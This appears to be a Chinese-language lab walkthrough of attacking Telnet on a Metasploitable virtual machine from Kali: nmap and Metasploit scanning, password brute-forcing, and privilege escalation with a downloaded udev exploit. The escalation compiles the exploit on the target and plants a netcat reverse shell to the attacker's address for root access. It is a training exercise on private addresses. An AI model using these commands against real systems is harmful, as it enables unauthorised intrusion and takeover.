telnet属于TCP/IP协议族,是Internet远程登陆服务的标准协议与主要方式
本机ip 192.168.1.4
kali ip 192.168.10.129
metasploitable ip 192.168.10.133
Telnet暴力破解(之前文章提过,不做截图)
版本获取
nmap -p 23 -sV 192.168.10.133
msfconsole
use auxiliary/scanner/telnet/telnet_version
set rhosts 192.168.10.133
run
密码破解(这里的username也可以用字典文件来实现)
use auxiliary/scanner/telnet/telnet_login
set rhosts 192.168.10.133
set username msfadmin
set pass_file /root/Desktop/pass.txt
登陆测试
sessions -l
sessions -i id
telnet抓包分析(本机登陆metasploitable)(验证明文传输)
用本机抓的VMnet-8的网卡
Telnet登陆提权
常规msfconsole登陆,登陆后称为 远程端口
wget http://www.exploit-db.com/download/8572
因为页面时https,所以无法下载。
但是可以将页面下载到kali主机上,然后再下载到远程主机上。
然后将下载的文件安放到/var/www/html,重命名为test.c,打开test.c,再末尾加几个回车
cd /var/www/html
mv 8572 test.c
gedit test.c
打开apach服务
service apache2 start
在远程端口下载kali上的test.c
wget http://192.168.10.129/test.c
kali监听端口4444(再另一个终端打开)
nc -lvp 4444
编译执行获取root权限
gcc test.c -o exploit
echo ‘#!/bin/sh’>/tmp/run
echo ‘/bin/netcat -e /bin/sh 192.168.10.129 4444’>>/tmp/run
ps edf |grep udev
./exploit 2789
然后查看刚才再另一个窗口的nc
执行原因
echo那几条命令,可以看看test.c的代码注释